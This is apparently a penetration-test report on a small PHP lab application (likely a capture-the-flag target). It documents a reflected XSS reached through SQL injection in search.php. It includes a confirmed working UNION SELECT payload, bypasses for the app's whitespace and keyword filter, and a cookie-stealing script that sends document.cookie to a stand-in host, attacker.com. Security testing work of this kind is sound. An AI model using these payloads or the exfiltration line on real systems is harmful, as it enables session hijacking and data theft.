# Cross-Site Scripting (XSS) Analysis Report

## 1. Executive Summary

- **Analysis Status:** Complete  
- **Key Outcome:** One high-confidence XSS vulnerability was identified and confirmed via live browser testing. The finding has been passed to the exploitation phase via `deliverables/xss_exploitation_queue.json`.  
- **Purpose of this Document:** This report provides the strategic context, vulnerability patterns, and environmental intelligence necessary to effectively exploit the XSS vulnerability.

**Critical Finding:**
A reflected XSS vulnerability exists in the search functionality at `/search.php:30` where database query results are output directly into HTML context without any encoding. The vulnerability is exploitable via SQL injection using UNION SELECT to inject arbitrary HTML/JavaScript into the query result, which is then reflected without sanitization.

**Live Confirmation:**
The vulnerability was confirmed through browser testing with the payload `"union/**/select/**/1,"<script>alert(document.domain)</script>",3#` which successfully executed JavaScript and displayed an alert dialog with the message "localhost".

## 2. Dominant Vulnerability Patterns

**Pattern 1: Unencoded Database Output in HTML Context**  
- **Description:** The application outputs database query results directly into HTML body context using PHP's `echo` statement without applying any HTML encoding functions (htmlspecialchars, htmlentities, strip_tags, etc.).  
- **Root Cause:** The codebase lacks any output encoding framework or security library. All output is manual via echo statements with no defensive coding patterns.  
- **Implication:** Any data retrieved from the database, regardless of source, is vulnerable to XSS if it contains HTML/JavaScript content. The application assumes all database content is safe, which is a dangerous anti-pattern.  
- **Representative Finding:** XSS-VULN-01 (search.php:30).

**Pattern 2: Filter Function Mismatch**  
- **Description:** The application implements a `filter_chars()` function that attempts to prevent SQL injection by blocking whitespace and SQL keywords, but provides zero protection against XSS attacks.  
- **Root Cause:** Confusion between SQL injection defense and XSS defense. The developer implemented input sanitization for SQL context but failed to implement output encoding for HTML context.  
- **Implication:** The presence of a filter function creates a false sense of security. Code reviewers might assume input is sanitized when it's only protected against one attack vector (SQL injection) but remains vulnerable to XSS.  
- **Technical Detail:** The filter blocks `/\s/` (whitespace) and `/(and|null|where|limit|like|substring|substr)/i` (SQL keywords) but does not encode `<`, `>`, `"`, `'`, or `&` characters that are critical for XSS prevention.

**Pattern 3: SQL Injection Enables XSS**  
- **Description:** The SQL injection vulnerability at line 25 (string concatenation instead of prepared statements) allows attackers to inject arbitrary data into query results using UNION SELECT statements.  
- **Exploitation Chain:** SQL Injection → UNION SELECT with XSS payload → Database query returns malicious content → Unencoded output → XSS execution  
- **Implication:** The combination of SQL injection and missing output encoding creates a particularly dangerous attack surface. Attackers don't need database write privileges (INSERT/UPDATE) because UNION SELECT allows injecting arbitrary strings into query results that are then reflected to the browser.  
- **Representative Finding:** XSS-VULN-01 exploits this pattern.

## 3. Strategic Intelligence for Exploitation

**Content Security Policy (CSP) Analysis**  
- **Current CSP:** None - No Content-Security-Policy headers are present in HTTP responses.  
- **Impact:** There are no restrictions on script execution, inline scripts, eval(), or external script sources.  
- **Recommendation:** Exploitation can use any JavaScript technique including inline scripts (`<script>alert(1)</script>`), event handlers (`<img src=x onerror=...>`), and external script loading.

**Cookie Security**  
- **Observation:** The session cookie (PHPSESSID) does not have the HttpOnly flag set (confirmed in reconnaissance report: `session.cookie_httponly = 0`).  
- **Impact:** The session cookie is accessible via JavaScript using `document.cookie`.  
- **Recommendation:** The primary exploitation goal should be session hijacking via `document.cookie` exfiltration. A payload like `<script>fetch('http://attacker.com/steal?c='+document.cookie)</script>` will successfully steal session tokens.

**Filter Bypass Techniques**  
- **Whitespace Bypass:** The filter blocks `/\s/` (spaces, tabs, newlines) but can be bypassed using `/**/` SQL comments.  
- **Keyword Bypass:** Keywords `and`, `null`, `where`, `limit`, `like`, `substring`, `substr` are blocked, but `union`, `select`, `or`, and other critical SQL keywords are NOT blocked.  
- **Comment Techniques:** The `#` character is not filtered, allowing query truncation to ignore trailing quote characters.  
- **Verified Working Payload:** `"union/**/select/**/1,"<PAYLOAD>",3#` where PAYLOAD can be any HTML/JavaScript content.

**Input Vector Analysis**  
- **Source:** `$_REQUEST['username']` accepts input from:
  - GET parameter: `?username=...`
  - POST parameter: `username=...`
  - Cookie: `Cookie: username=...`
- **Recommendation:** All three vectors are exploitable. GET-based exploitation is simplest for victim link distribution, while POST-based requires CSRF or form submission.

**Database Structure**  
- **Table:** `users` with 3 columns: `id` (INT), `username` (VARCHAR(256)), `password` (VARCHAR(256))  
- **UNION SELECT Requirement:** Payload must inject 3 columns to match the original query structure.  
- **Working Template:** `"union/**/select/**/1,"<XSS_PAYLOAD>",3#`  
- **Column Placement:** The XSS payload must be in the second column (username position) as that's what gets echoed at line 30.

**Session Management**  
- **Session Lifetime:** Session cookie is temporary (expires on browser close).  
- **Session Fixation:** Possible due to lack of `session_regenerate_id()` after authentication.  
- **Impact:** Stolen session cookies remain valid until browser closure or manual logout (no logout functionality exists).

## 4. Vectors Analyzed and Confirmed Secure

These input vectors were traced and confirmed to have robust, context-appropriate defenses.

| Source (Parameter/Key) | Endpoint/File Location | Defense Mechanism Implemented | Render Context | Verdict |
|--------------------------|-------------------------|--------------------------------|----------------|---------|
| `username` (login) | `/login.php:24` | Prepared statement with parameter binding (mysqli::prepare) | SQL query context | SAFE from SQL injection |
| `password` (login) | `/login.php:25` | Prepared statement with parameter binding (mysqli::prepare) | SQL query context | SAFE from SQL injection |

**Note:** The login.php endpoint uses prepared statements correctly, preventing SQL injection in the authentication flow. However, it also has a useless `filter_chars()` function (lines 17-19) that simply returns input unchanged - this is security theater that provides no actual protection.

**Important Clarification:** The login.php endpoint does NOT output user-controlled data to HTML context, so XSS is not applicable there. The only output is hardcoded strings ("Invalid password.", "Error!", or the FLAG value after successful authentication).

## 5. Analysis Constraints and Blind Spots

**Constraint 1: Minimal Codebase**  
- The application consists of only 3 PHP files with 116 total lines of code.  
- There is no client-side JavaScript, no dynamic HTML attribute generation, no URL manipulation, and no CSS context rendering.  
- Impact: XSS attack surface is limited to a single HTML body context sink. However, this single vulnerability is still highly exploitable.

**Constraint 2: SELECT-Only Database Privileges**  
- The database user (`appuser`) has only SELECT privileges (verified in `mysql/init.sql:15`).  
- Impact: Traditional stored XSS via INSERT/UPDATE is not possible. However, this constraint is bypassed using UNION SELECT to inject data into query results without requiring database write permissions.  
- Blind Spot: If there were additional database users with write privileges (e.g., admin panel functionality), stored XSS via database injection would be possible.

**Constraint 3: No API Endpoints**  
- The application has no JSON APIs, AJAX endpoints, or REST services.  
- Impact: XSS exploitation is limited to traditional browser-based attacks. Modern JavaScript framework vulnerabilities (React XSS, Angular template injection) are not applicable.  
- Blind Spot: If future versions add API functionality, JSON-based XSS vectors should be re-evaluated.

**Constraint 4: No File Upload Functionality**  
- The application has no file upload handlers.  
- Impact: File-based XSS vectors (malicious SVG, HTML file uploads) are not applicable.  
- Blind Spot: If file upload is added, stored XSS via uploaded files should be analyzed.

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**Analysis Coverage:** All input vectors identified in the reconnaissance deliverable (`deliverables/recon_deliverable.md` Section 9: XSS Sinks) have been systematically analyzed. The single identified XSS sink has been thoroughly tested and confirmed exploitable via live browser verification.